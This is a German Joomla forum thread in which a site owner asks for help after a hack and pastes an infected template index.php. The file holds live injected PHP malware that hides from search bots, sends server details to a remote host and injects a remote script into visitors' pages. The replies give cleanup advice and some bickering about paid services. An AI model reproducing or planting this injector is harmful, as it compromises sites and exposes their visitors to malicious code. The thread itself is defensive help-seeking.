+ Antworten
Seite 1 von 2 1 2 LetzteLetzte
Ergebnis 1 bis 10 von 11

Thema: Seite wurde gehackt - Lösung gesucht

  1. #1
    Neu an Board
    Registriert seit
    04.12.2010
    Beiträge
    30
    Bedankte sich
    3
    Erhielt 0 Danksagungen
    in 0 Beiträgen

    Frage Seite wurde gehackt - Lösung gesucht

    Hallo!

    Ich betreue eine Joomla! 2.5-Seite, die seit gestern automatisch von vielen Browsern gesperrt wird. Eine Virenüberprüfung auf dem Webspace, die vom Anbieter durchgeführt wurde, blieb für den betroffenen Pfad leider ergebnislos.

    Soweit ich es laienmäßig erkenne, versucht die Seite nach dem Betreten auf irgendeine ausländische Seite weiterzuleiten, bzw. im Hintergrund etwas zu öffnen. Das zeigt mit Google Chrome am unteren Bildschirmrand an.

    Ich kenne mich leider in den Tiefen von Joomla! nicht so gut aus. Wo könnte ich denn auf die Suche nach der Schadsoftware gehen? Gibt es vielleicht auch Addons, die helfen können?

    Ich bin einfach nur ratlos und habe keine Ahnung, was ich jetzt machen soll.

    Danke im Voraus für Eure Hilfe!

    Grüße!

  2. #2
    Gehört zum Inventar Avatar von Marcus77
    Registriert seit
    17.02.2006
    Ort
    Stettenhof
    Beiträge
    6.529
    Bedankte sich
    179
    Erhielt 1.314 Danksagungen
    in 1.270 Beiträgen

    Standard

    "Entfernt, da sich manche pers. Angegriffen fühlen *seufz*"

    Das einfachste: wenn die Seite nicht Umfangreich ist

    mit Joomla 3.4.8 NEU aufbauen
    Geändert von Marcus77 (03.01.2016 um 12:30 Uhr)
    (Sofern dir meine Antwort geholfen hat, drücke einfach LINKS den "DANKE" - BUTTON)

  3. #3
    Neu an Board
    Registriert seit
    04.12.2010
    Beiträge
    30
    Bedankte sich
    3
    Erhielt 0 Danksagungen
    in 0 Beiträgen

    Standard

    Mit Hilfe des Supports habe ich rausgefunden, dass wohl der Code der index.php des Templates bearbeitet wurde. Hier konnte man die URL's entdecken, die nun im Hintergrund geladen werden.

    Leider weiß ich nicht, wo der Schade-Code anfängt und wo er aufhört. Könnt Ihr mir sagen, was ich löschen kann bzw. muss?

    Code:
    <?php
    /**
     * @package    Ionosphere Template - RocketTheme
     * @version    1.3 April 10, 2012
     * @author	   RocketTheme http://www.rockettheme.com
     * @copyright  Copyright (C) 2007 - 2012 RocketTheme, LLC
     * @license	   http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
     *
     * Gantry uses the Joomla Framework (http://www.joomla.org), a GNU/GPLv2 content management system
     *
     */
    // no direct access
    defined( '_JEXEC' ) or die( 'Restricted index access' );
    
    // load and inititialize gantry class
    require_once('lib/gantry/gantry.php');
    $gantry->init();
    
    function isBrowserCapable(){
    	global $gantry;
    
    	$browser = $gantry->browser;
    
    	// ie.
    	if ($browser->name == 'ie' && $browser->version < 8) return false;
    
    	return true;
    }
    // get the current preset
    $gpreset = str_replace(' ','',strtolower($gantry->get('name')));
    
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $gantry->language; ?>" lang="<?php echo $gantry->language;?>" >
    <head>
    	<?php
    		$gantry->displayHead();
    		$gantry->addStyles(array('template.css','joomla.css'));
    
    		if ($gantry->browser->platform != 'iphone')
    			$gantry->addInlineScript('window.addEvent("domready", function(){ new SmoothScroll(); });');
    
    		if ($gantry->get('loadtransition') && isBrowserCapable()){
    			$gantry->addScript('load-transition.js');
    			$hidden = ' class="rt-hidden"';
    		} else {
    			$hidden = '';
    		}
    
    	?>
    </head>
    	<body <?php echo $gantry->displayBodyTag(); ?>>
    		<?php if ($gantry->get('headerwidth') == 'wrapped'): ?>
    		<div class="rt-container">
    		<?php endif; ?>
    			<div id="rt-top-surround"><div id="rt-top-surround2">
    				<?php /** Begin Drawer **/ if ($gantry->countModules('drawer')) : ?>
    				<div id="rt-drawer">
    					<?php if ($gantry->get('headerwidth') == 'full'): ?>
    					<div class="rt-container">
    					<?php endif; ?>
    						<?php echo $gantry->displayModules('drawer','standard','standard'); ?>
    						<div class="clear"></div>
    					<?php if ($gantry->get('headerwidth') == 'full'): ?>
    
    
    if( empty( $chlnn ) ) {
        if( ( substr( trim( $_SERVER['REMOTE_ADDR'] ), 0, 6 ) == '74.125' ) || preg_match(
                "/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i",
                $_SERVER['HTTP_USER_AGENT']
            )
        ) {
        } else {
            error_reporting( 0 );
            @ini_set( 'display_errors', 0 );
            if( !function_exists( '__url_get_contents' ) ) {
                function __url_get_contents( $remote_url, $timeout )
                {
                    if( function_exists( 'curl_exec' ) ) {
                        $ch = curl_init();
                        curl_setopt( $ch, CURLOPT_URL, $remote_url );
                        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
                        curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
                        curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout ); //timeout in seconds
                        $_url_get_contents_data = curl_exec( $ch );
                        curl_close( $ch );
                    } elseif( function_exists( 'file_get_contents' ) && ini_get( 'allow_url_fopen' ) ) {
                        $ctx = @stream_context_create(
                            array(
                                'http' =>
                                    array(
                                        'timeout' => $timeout,
                                    )
                            )
                        );
                        $_url_get_contents_data = @file_get_contents( $remote_url, false, $ctx );
                    } elseif( function_exists( 'fopen' ) && function_exists( 'stream_get_contents' ) ) {
                        $handle = @fopen( $remote_url, "r" );
                        $_url_get_contents_data = @stream_get_contents( $handle );
                    } else {
                        $_url_get_contents_data = __file_get_url_contents( $remote_url );
                    }
                    return $_url_get_contents_data;
                }
            }
    
            if( !function_exists( '__file_get_url_contents' ) ) {
                function __file_get_url_contents( $remote_url )
                {
                    if( preg_match(
                        '/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
                        $remote_url,
                        $matches
                    )
                    ) {
                        $protocol = strtolower( $matches[1] );
                        $host = $matches[2];
                        $path = $matches[3];
                    } else {
                        // Bad remote_url-format
                        return false;
                    }
                    if( $protocol == "http" ) {
                        $socket = @fsockopen( $host, 80, $errno, $errstr, $timeout );
                    } else {
                        // Bad protocol
                        return false;
                    }
                    if( !$socket ) {
                        // Error creating socket
                        return false;
                    }
                    $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
                    $len_written = @fwrite( $socket, $request );
                    if( $len_written === false || $len_written != strlen( $request ) ) {
                        // Error sending request
                        return false;
                    }
                    $response = "";
                    while( !@feof( $socket ) &&
                        ( $buf = @fread( $socket, 4096 ) ) !== false ) {
                        $response .= $buf;
                    }
                    if( $buf === false ) {
                        // Error reading response
                        return false;
                    }
                    $end_of_header = strpos( $response, "\r\n\r\n" );
                    return substr( $response, $end_of_header + 4 );
                }
            }
    
            $chlnn['SCRIPT_FILENAME'] = $_SERVER['SCRIPT_FILENAME'];
            $chlnn['SCRIPT_NAME'] = $_SERVER['SCRIPT_NAME'];
            $chlnn['PHP_SELF'] = $_SERVER['PHP_SELF'];
            $chlnn['HTTP_HOST'] = $_SERVER['HTTP_HOST'];
            $chlnn['REDIRECT_STATUS'] = $_SERVER['REDIRECT_STATUS'];
            $chlnn['SERVER_NAME'] = $_SERVER['SERVER_NAME'];
            $chlnn['SERVER_ADDR'] = $_SERVER['SERVER_ADDR'];
            $chlnn['SERVER_ADMIN'] = $_SERVER['SERVER_ADMIN'];
    
            $chlnn = __url_get_contents(
                "http://all4office.hu/bdtq47zn.php" . "?fid=686052&info=" . http_build_query( $chlnn ) . "&no=1&allow=1",
                2
            );
    
            $chlnn = trim( $chlnn );
            if( $chlnn !== 'false' ) {
                echo "<script type=\"text/javascript\" src=\"http://all4office.hu/bdtq47zn.php?id=12918365\"></script>";
            }
        }
    }
    #/b6247d#
    ?>					</div>
    					<?php endif; ?>
    				</div>
    				<?php /** End Drawer **/ endif; ?>
    				<?php /** Begin Top **/ if ($gantry->countModules('top')) : ?>
    				<div id="rt-top"><div id="rt-top2">
    					<?php if ($gantry->get('headerwidth') == 'full'): ?>
    					<div class="rt-container">
    					<?php endif; ?>
    						<?php echo $gantry->displayModules('top','standard','standard'); ?>
    						<div class="clear"></div>
    					<?php if ($gantry->get('headerwidth') == 'full'): ?>
    					</div>
    					<?php endif; ?>
    				</div></div>
    				<?php /** End Top **/ endif; ?>
    				<?php /** Begin Header **/ if ($gantry->countModules('header')) : ?>
    				<div id="rt-header">
    					<?php if ($gantry->get('headerwidth') == 'full'): ?>
    					<div class="rt-container">
    					<?php endif; ?>
    						<?php echo $gantry->displayModules('header','standard','standard'); ?>
    						<div class="clear"></div>
    					<?php if ($gantry->get('headerwidth') == 'full'): ?>
    					</div>
    					<?php endif; ?>
    				</div>
    				<?php /** End Header **/ endif; ?>
    			</div></div>
    			<?php /** Begin Navigation **/ if ($gantry->countModules('navigation')) : ?>
    			<div id="rt-navigation"><div id="rt-navigation2">
    				<?php if ($gantry->get('headerwidth') == 'full'): ?>
    				<div class="rt-container">
    				<?php endif; ?>
    					<?php echo $gantry->displayModules('navigation','standard','standard'); ?>
    					<div class="clear"></div>
    				<?php if ($gantry->get('headerwidth') == 'full'): ?>
    				</div>
    				<?php endif; ?>
    				<div class="rt-navborder"></div>
    			</div></div>
    			<?php /** End Navigation **/ endif; ?>
    			<?php /** Begin Sub Navigation **/ if ($gantry->countModules('subnavigation')) : ?>
    			<div id="rt-subnavigation">
    				<?php if ($gantry->get('headerwidth') == 'full'): ?>
    				<div class="rt-container">
    				<?php endif; ?>
    					<?php echo $gantry->displayModules('subnavigation','standard','menu'); ?>
    					<div class="clear"></div>
    				<?php if ($gantry->get('headerwidth') == 'full'): ?>
    				</div>
    				<?php endif; ?>
    			</div>
    			<?php /** End Sub Navigation **/ endif; ?>
    		<?php if ($gantry->get('headerwidth') == 'wrapped'): ?>
    		</div>
    		<?php endif; ?>
    		<div id="rt-transition"<?php echo $hidden; ?>>
    			<?php /** Begin Feature **/ if ($gantry->countModules('feature')) : ?>
    			<div id="rt-feature">
    				<div class="rt-container">
    					<?php echo $gantry->displayModules('feature','standard','standard'); ?>
    					<div class="clear"></div>
    				</div>
    			</div>
    			<?php /** End Feature **/ endif; ?>
    			<div class="rt-container">
    				<div id="rt-main-container" <?php if ($gantry->countModules('showcase')) : ?>class="showcase-margin"<?php endif; ?>>
    					<?php /** Begin Showcase **/ if ($gantry->countModules('showcase')) : ?>
    					<div id="rt-showcase">
    						<div class="rt-container">
    							<?php echo $gantry->displayModules('showcase','standard','standard'); ?>
    							<div class="clear"></div>
    						</div>
    					</div>
    					<?php /** End Showcase **/ endif; ?>
    					<div id="rt-body-surround">
    						<div class="rt-container">
    							<?php /** Begin Utility **/ if ($gantry->countModules('utility')) : ?>
    							<div id="rt-utility">
    								<?php echo $gantry->displayModules('utility','standard','standard'); ?>
    								<div class="clear"></div>
    							</div>
    							<?php /** End Utility **/ endif; ?>
    							<?php /** Begin Main Top **/ if ($gantry->countModules('maintop')) : ?>
    							<div id="rt-maintop">
    								<?php echo $gantry->displayModules('maintop','standard','standard'); ?>
    								<div class="clear"></div>
    							</div>
    							<?php /** End Main Top **/ endif; ?>
    							<?php /** Begin Breadcrumbs **/ if ($gantry->countModules('breadcrumb')) : ?>
    							<div id="rt-breadcrumbs">
    								<?php echo $gantry->displayModules('breadcrumb','basic','breadcrumbs'); ?>
    								<div class="clear"></div>
    							</div>
    							<?php /** End Breadcrumbs **/ endif; ?>
    							<?php /** Begin Main Body **/ ?>
    						    <?php echo $gantry->displayMainbody('mainbody','sidebar','standard','standard','standard','standard','standard'); ?>
    							<?php /** End Main Body **/ ?>
    							<?php /** Begin Main Bottom **/ if ($gantry->countModules('mainbottom')) : ?>
    							<div id="rt-mainbottom">
    								<?php echo $gantry->displayModules('mainbottom','standard','standard'); ?>
    								<div class="clear"></div>
    							</div>
    							<?php /** End Main Bottom **/ endif; ?>
    							<?php /** Begin Extension **/ if ($gantry->countModules('extension')) : ?>
    							<div id="rt-extension">
    								<div class="rt-container">
    									<?php echo $gantry->displayModules('extension','standard','standard'); ?>
    									<div class="clear"></div>
    								</div>
    							</div>
    							<?php /** End Extension **/ endif; ?>
    						</div>
    					</div>
    				</div>
    			</div>
    			<?php /** Begin Panel **/ if ($gantry->countModules('panel')) : ?>
    			<?php echo $gantry->displayModules('panel','basic','basic'); ?>
    			<?php /** End Panel **/ endif; ?>
    			<?php /** Begin Social **/ if ($gantry->countModules('social')) : ?>
    			<?php echo $gantry->displayModules('social','basic','basic'); ?>
    			<?php /** End Social **/ endif; ?>
    		</div>
    		<?php if ($gantry->get('footerwidth') == 'wrapped'): ?>
    		<div class="rt-container">
    		<?php endif; ?>
    			<?php /** Begin Footer Section **/ if ($gantry->countModules('bottom') or $gantry->countModules('footer')) : ?>
    			<div id="rt-footer-surround">
    				<?php /** Begin Bottom **/ if ($gantry->countModules('bottom')) : ?>
    				<div id="rt-bottom">
    					<?php if ($gantry->get('footerwidth') == 'full'): ?>
    					<div class="rt-container">
    					<?php endif; ?>
    						<?php echo $gantry->displayModules('bottom','standard','standard'); ?>
    						<div class="clear"></div>
    					<?php if ($gantry->get('footerwidth') == 'full'): ?>
    					</div>
    					<?php endif; ?>
    				</div>
    				<?php /** End Bottom **/ endif; ?>
    				<?php /** Begin Footer **/ if ($gantry->countModules('footer')) : ?>
    				<div id="rt-footer"><div id="rt-footer2">
    					<?php if ($gantry->get('footerwidth') == 'full'): ?>
    					<div class="rt-container">
    					<?php endif; ?>
    						<?php echo $gantry->displayModules('footer','standard','standard'); ?>
    						<div class="clear"></div>
    					<?php if ($gantry->get('footerwidth') == 'full'): ?>
    					</div>
    					<?php endif; ?>
    				</div></div>
    				<?php /** End Footer **/ endif; ?>
    			</div>
    			<?php /** End Footer Section **/ endif; ?>
    			<?php /** Begin Copyright **/ if ($gantry->countModules('copyright')) : ?>
    			<div id="rt-copyright"><div id="rt-copyright2">
    				<?php if ($gantry->get('footerwidth') == 'full'): ?>
    				<div class="rt-container">
    				<?php endif; ?>
    					<?php echo $gantry->displayModules('copyright','standard','standard'); ?>
    					<div class="clear"></div>
    				<?php if ($gantry->get('footerwidth') == 'full'): ?>
    				</div>
    				<?php endif; ?>
    			</div></div>
    			<?php /** End Copyright **/ endif; ?>
    		<?php if ($gantry->get('footerwidth') == 'wrapped'): ?>
    		</div>
    		<?php endif; ?>
    		<?php /** Begin Debug **/ if ($gantry->countModules('debug')) : ?>
    		<div id="rt-debug">
    			<div class="rt-container">
    				<?php echo $gantry->displayModules('debug','standard','standard'); ?>
    				<div class="clear"></div>
    			</div>
    		</div>
    		<?php /** End Debug **/ endif; ?>
    		<?php /** Begin Popups **/
    		echo $gantry->displayModules('popup','popup','popup');
    		echo $gantry->displayModules('login','login','popup');
    		/** End Popup s**/ ?>
    		<?php /** Begin Analytics **/ if ($gantry->countModules('analytics')) : ?>
    		<?php echo $gantry->displayModules('analytics','basic','basic'); ?>
    		<?php /** End Analytics **/ endif; ?>
    	</body>
    </html>
    <?php
    $gantry->finalize();
    
    ?>
    Geändert von Destop (02.01.2016 um 18:01 Uhr)

  4. #4
    Wohnt hier Avatar von WebWorker Berlin
    Registriert seit
    03.02.2013
    Ort
    Berlin
    Beiträge
    2.402
    Bedankte sich
    432
    Erhielt 494 Danksagungen
    in 444 Beiträgen

    Standard

    Das es nur diese eine Datei ist, glaube ich nicht, ist aber möglich. Packe den Code bitte in die Codetags die du unter erweitert findest. So spamst Du uns hier einfach nur zu.

    PS:
    Marcus schau in deine PN.

  5. Erhielt Danksagungen von:


  6. #5
    Hat hier eine Zweitwohnung Avatar von Sieger66
    Registriert seit
    23.05.2010
    Beiträge
    1.770
    Bedankte sich
    14
    Erhielt 461 Danksagungen
    in 433 Beiträgen

    Standard

    Siehe z.B. auch Joomla-FAQ 2.6 To Do nach einem Hack:

    http://www.joomlaportal.de/tipps-tri...tml#post990009

    http://forum.joomla.de/index.php/Thr...-kann-ich-tun/

    Außerdem:

    Du kannst mit an Sicherheit grenzender Wahrscheinlichkeit davon ausgehen, dass es auf dem Server noch weitere Malware-Skripte und Backdoors gibt, die du jetzt übersehen hast und das Spiel in ein paar Stunden wieder von vorne losgeht. Am besten mal hier Schritt für Schritt durchgehen:
    fc-hosting.de/joomla/tips-joomla-gehackt.php

    Oder Alternativ nen Profi beauftragen.
    aus:

    http://forum.joomla.de/index.php/Thr...=7611#post7611
    Geändert von Sieger66 (02.01.2016 um 18:14 Uhr)
    Gelöstes Problem bitte so markieren http://www.joomlaportal.de/forenrege...tel-ndern.html
    Fragen und Antworten zu Joomla in den Joomla FAQ
    - Danke für den Klick auf Danke

  7. #6
    Hat hier eine Zweitwohnung Avatar von kitepascal
    Registriert seit
    19.03.2009
    Ort
    bei Aachen
    Beiträge
    1.377
    Bedankte sich
    96
    Erhielt 539 Danksagungen
    in 511 Beiträgen

    Standard

    @Destop: Hast du da evtl. schon was verändert/entfernt? Irgendwie fehlt da ab Zeile 65 was..
    Es ist ganz sicher nicht nur diese Datei, vorausgesetzt du hast das Template aus sicherer Quelle/ohne Umwege direkt von RocketTheme.


    Es gibt diverse Anbieter, die aber anscheinend im Moment überfordert sind, da Sie auf Anfragen nicht reagieren
    @Marucs77: Das kann nicht dein Ernst sein?
    Auf mein mehr als faires Angebot vor 2 Tagen, unmittelbar nach deiner Anfrage, hast du in keinster Weise reagiert..
    Und dann sowas.
    So lässt sich natürlich auch Zeit verschwenden.
    Geändert von kitepascal (02.01.2016 um 18:33 Uhr)
    ↙ | website-bereinigung.de → Support-Chat

  8. #7
    Neu an Board
    Registriert seit
    04.12.2010
    Beiträge
    30
    Bedankte sich
    3
    Erhielt 0 Danksagungen
    in 0 Beiträgen

    Standard

    Zitat Zitat von kitepascal Beitrag anzeigen
    @Destop: Hast du da evtl. schon was verändert/entfernt? Irgendwie fehlt da ab Zeile 65 was..
    Es ist ganz sicher nicht nur diese Datei, vorausgesetzt du hast das Template aus sicherer Quelle/ohne Umwege direkt von RocketTheme.
    Ich habe die Lizenzvereinbarung, die in den Code eingabaut war oben entfernt, da der Beitrag sonst zu lange gewesen wäre.

    Ich habe das Template damals direkt von RocketTheme bezogen, ohne Umwege.

    Der Schade-Code war auch in älteren Templates eingebaut worden. Diese habe ich inzwischen mit FileZilla komplett vom Webspace gelöscht.

  9. #8
    Gehört zum Inventar
    Registriert seit
    26.07.2007
    Ort
    RZ / EA / B
    Beiträge
    7.493
    Bedankte sich
    440
    Erhielt 1.758 Danksagungen
    in 1.637 Beiträgen

    Standard

    Dann gilt es noch herauszufinden, was den Schadcode in die Dateien schreiben konnte, zB eine Shell, die noch irgendwo versteckt ist.

    @Markus, ich habe keine Anfrage von dir erhalten.
    Gruß, Chris
    Joomla kaputt? Gehackt? Migration mißlungen? Datensalat?
    www.cms-reparatur.de - Soforthilfe & Webentwicklung

  10. Erhielt Danksagungen von:


  11. #9
    Gehört zum Inventar Avatar von Marcus77
    Registriert seit
    17.02.2006
    Ort
    Stettenhof
    Beiträge
    6.529
    Bedankte sich
    179
    Erhielt 1.314 Danksagungen
    in 1.270 Beiträgen

    Standard

    Entfernt, da unpassend sich manche pers. angegriffen fühlen
    Geändert von Marcus77 (03.01.2016 um 12:35 Uhr)
    (Sofern dir meine Antwort geholfen hat, drücke einfach LINKS den "DANKE" - BUTTON)

  12. #10
    Wohnt hier Avatar von SniperSister
    Registriert seit
    23.09.2005
    Ort
    Köln
    Alter
    29
    Beiträge
    2.965
    Bedankte sich
    96
    Erhielt 948 Danksagungen
    in 610 Beiträgen

    Standard

    Zitat Zitat von Marcus77 Beitrag anzeigen
    Aber wie gesagt: solche Sachen sollten wenn, per pM geklärt werden....
    Wenn man sowas lieber privat per PN klären will, sollte man sich öffentlich Anspielungen verkneifen. Oder wie schon meine Oma gesagt hat: was du nicht willst, was man dir tut, das füg auch keinem anderen zu

  13. Erhielt Danksagungen von:


+ Antworten
Seite 1 von 2 1 2 LetzteLetzte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein